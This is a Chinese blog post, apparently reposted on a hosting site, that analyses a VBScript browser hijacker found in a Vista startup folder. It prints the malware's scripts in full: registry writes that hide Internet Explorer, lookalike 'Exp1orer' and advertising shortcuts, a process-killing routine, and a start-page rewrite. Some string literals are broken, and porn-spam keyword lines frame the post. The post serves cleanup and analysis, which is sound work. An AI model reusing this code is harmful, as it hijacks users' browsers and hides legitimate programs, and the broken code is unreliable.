美女视频黄的全免费无遮挡 ,美女性感视频在线观看,美女视频走秀

我是vista的操作系統(tǒng),一直以來(lái)都使用的是睡眠,今天一重啟機(jī)器,呵,發(fā)現(xiàn)問(wèn)題了!

主頁(yè)被無(wú)緣的篡改！桌面上無(wú)緣地多出四個(gè)圖標(biāo)分別是Internet Exp1orer,千千體育直播，淘寶網(wǎng)網(wǎng)今日打折特價(jià)區(qū)，超級(jí)好玩的小游戲。別以為那個(gè)internet Exp1orer是正常的，這里面是一個(gè)1，不是L！暈，這也就是說(shuō)真正的Internet Explorer在桌面上被隱藏掉了！主頁(yè)還被改成www.556dh.cn，OH，shit!

這種情況下，病毒一直沒(méi)有啟動(dòng)，直到我重啟機(jī)器才發(fā)現(xiàn)，所以這個(gè)病毒一定與開(kāi)機(jī)啟動(dòng)有關(guān)！很容易讓我找到了它的啟動(dòng)地址，原來(lái)在我的文檔下邊的一個(gè)啟動(dòng)菜單中，英文名稱是startMenu，找到一個(gè)QQ圖像的快捷方式，直接指向了它的啟動(dòng)文件，病毒就在system32下，有一個(gè)是1.vbs，別一個(gè)是2.vbs，SHIT！隱藏真夠社會(huì)工程學(xué)的，稍不注意還以為是一個(gè)QQ文件的啟動(dòng)呢！真的，寫腳本的大哥你就不知道，我不喜歡開(kāi)機(jī)運(yùn)行QQ嗎？再者，你在腳本中運(yùn)行一下QQ也行啊，要不然，丫的，QQ沒(méi)有啟動(dòng)卻在啟動(dòng)其單中有一個(gè)QQ的啟動(dòng)快捷方式！你真TDM不夠聰明！

1.vbs

Set WshShell = WScript.CreateObject("WScript.Shell")
strDesktop = WshShell.SpecialFolders("Desktop") :'特殊文件夾“桌面”
Favorites = WshShell.SpecialFolders("Favorites") :'特殊文件夾“桌面”

Rem
RegPath="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel\{871C5380-42A0-1069-A2EA-08002B30309D}"
RegPath1="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu\{871C5380-42A0-1069-A2EA-08002B30309D}"
Type_Name="REG_DWORD"
Key_Data=1
WshShell.RegWrite RegPath,Key_Data,Type_Name
WshShell.RegWrite RegPath1,Key_Data,Type_Name
Dim WSHShell, strDesktop
Set WSHShell = WScript.CreateObject("WScript.Shell")
strDesktop = WSHShell.SpecialFolders("Desktop")
WSHShell.AppActivate strDesktop
WSHShell.SendKeys "{F5}"

標(biāo)準(zhǔn)的wscript.shell寫法！暈！

2.vbs

Set oShellLink1 = WshShell.CreateShortcut(WshShell.SpecialFolders.Item("AppData")& "\Microsoft\Internet Explorer\Quick Launch"&"\啟動(dòng) Internet Explorer 瀏覽器.lnk")
oShellLink1.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目標(biāo)
oShellLink1.Arguments = "oShellLink1.WindowStyle = 1 :'參數(shù)1默認(rèn)窗口激活，參數(shù)3最大化激活，參數(shù)7最小化
oShellLink1.Hotkey = "" : '快捷鍵
oShellLink1.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0" : '圖標(biāo)
oShellLink1.Description = "" : '備注
oShellLink1.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink1.Save : '創(chuàng)建保存快捷方式
Set fso = CreateObject("Scripting.FileSystemObject")
If (fso.FileExists(strDesktop & "\Internet Explorer.lnk")) Then
Set delf= fso.GetFile(strDesktop & "\Internet Explorer.lnk")
delf.Delete
End If

Set oShellLink1 = WshShell.CreateShortcut(WshShell.SpecialFolders.Item("AppData")& "\Microsoft\Internet Explorer\Quick Launch"&"\超級(jí)好玩小游戲.lnk")
oShellLink1.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目標(biāo)
oShellLink1.Arguments = "oShellLink1.WindowStyle = 1 :'參數(shù)1默認(rèn)窗口激活，參數(shù)3最大化激活，參數(shù)7最小化
oShellLink1.IconLocation = "%SystemRoot%\system32\game.ico, 0" : '圖標(biāo)
oShellLink1.Description = "" : '備注
oShellLink1.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink1.Save : '創(chuàng)建保存快捷方式
Set oShellLink1 = WshShell.CreateShortcut(WshShell.SpecialFolders.Item("AppData")& "\Microsoft\Internet Explorer\Quick Launch"&"\淘寶網(wǎng)今日打折特價(jià)區(qū).lnk")
oShellLink1.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目標(biāo)
oShellLink1.Arguments = "oShellLink1.WindowStyle = 1 :'參數(shù)1默認(rèn)窗口激活，參數(shù)3最大化激活，參數(shù)7最小化
oShellLink1.IconLocation = "%SystemRoot%\system32\taobao.ico, 0" : '圖標(biāo)
oShellLink1.Description = "" : '備注
oShellLink1.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink1.Save : '創(chuàng)建保存快捷方式
Set oShellLink1 = WshShell.CreateShortcut(WshShell.SpecialFolders.Item("AppData")& "\Microsoft\Internet Explorer\Quick Launch"&"\千千體育直播.lnk")
oShellLink1.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目標(biāo)
oShellLink1.Arguments = "oShellLink1.WindowStyle = 1 :'參數(shù)1默認(rèn)窗口激活，參數(shù)3最大化激活，參數(shù)7最小化
oShellLink1.IconLocation = "%SystemRoot%\system32\77zb.ico, 0" : '圖標(biāo)
oShellLink1.Description = "" : '備注
oShellLink1.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink1.Save : '創(chuàng)建保存快捷方式

Sub ProcessKiller(ProcessName)
        On Error Resume Next
        Dim WMI,objProcess,Process
        Dim MsgStr
        Dim isKilled
        isKilled=False
        Set WMI=GetObject("WinMgmts:")
        Set Process=WMI.InstancesOf("Win32_Process")
        For Each objProcess In Process
                If InStr(ProcessName,".")>0 Then
                        If objProcess.name=ProcessName Then
                                objProcess.Terminate
                        End If
                Else
                        If InStr(objProcess.ExecutablePath,ProcessName)>0 Then
                                objProcess.Terminate
                        End If
                End If
                If Err Then Err.Clear
        Next
        Set Process=Nothing
        Set WMI=Nothing
End Sub

set objShell = WScript.CreateObject("WScript.Shell")
strDesktop = objShell.SpecialFolders.Item("Desktop")
'

strQuickLaunch = objShell.SpecialFolders.Item("AppData") & "\Microsoft\Internet Explorer\Quick Launch"
'

set objLink = objShell.CreateShortcut(strDesktop & "\Internet Exp1orer.lnk")
set objqLink = objShell.CreateShortcut(strQuickLaunch & "\啟動(dòng) Internet Explorer 瀏覽器.lnk")

objqLink.TargetPath = "C:\Program Files\Internet Explorer\iexplore.exe"
objLink.TargetPath = "C:\Program Files\Internet Explorer\iexplore.exe"
objLink.Arguments = "objqLink.Arguments = "objLink.Save
objqLink.Save

'=========

dim oshell,fso,hostname
set oshell=createobject("wscript.shell")
set fso=createobject("scripting.filesystemobject")
HOSTNAME=oshell.RegRead ("HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName" )
oshell.regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\start page","

wscript.quit

增加快捷方式的地兒就在在這里了！

從1.vbs可以知道，它對(duì)我的注冊(cè)表動(dòng)了手腳的！這個(gè)手腳就在于它將所有用戶中的IE給隱藏了，如果你在桌面上有IE的圖標(biāo)找不到時(shí)可以根據(jù)1.vbs中指示的路徑將其值改為1即可！

從2.vbs中我們可以知道，它增加的所有的快捷方式，9ptv是一個(gè)電影網(wǎng)，搞不好是這個(gè)網(wǎng)站會(huì)可能有一個(gè)播放器的，而這個(gè)播放器的安裝中安裝了這個(gè)文件，這是黃色網(wǎng)站慣用的手法，不過(guò)先聲明一點(diǎn)，我的電腦還有別人在用，這根本不是我安裝的。我從不下載這類似的玩意！

找來(lái)找去，SHIT，安裝文件競(jìng)?cè)辉谖业膕ystem32文件夾中，日期指示是我出差的那一天！我暈！看來(lái)給電腦換個(gè)密碼不再讓別人用了！

再看2.vbs中還有一個(gè)事件的定義？！遍歷了我所有的進(jìn)程？！奶奶的，這玩意真是讓我無(wú)語(yǔ)！等等，在哪兒調(diào)用了這個(gè)過(guò)程呢？它沒(méi)有調(diào)用？它在kill我什么進(jìn)程，殺毒軟件還是什么？介來(lái)什么卻沒(méi)有調(diào)用呢？在其他地方調(diào)用了？這證明真還有其他的文件在執(zhí)行些這些東西的！

注意的是，殺毒時(shí)將快捷啟動(dòng)欄等什么地方加過(guò)的都要去掉才行！

本站僅提供存儲(chǔ)服務(wù)，所有內(nèi)容均由用戶發(fā)布，如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容，請(qǐng)點(diǎn)擊舉報(bào)。

国产一级a片免费看高清,亚洲熟女中文字幕在线视频,黄三级高清在线播放,免费黄色视频在线看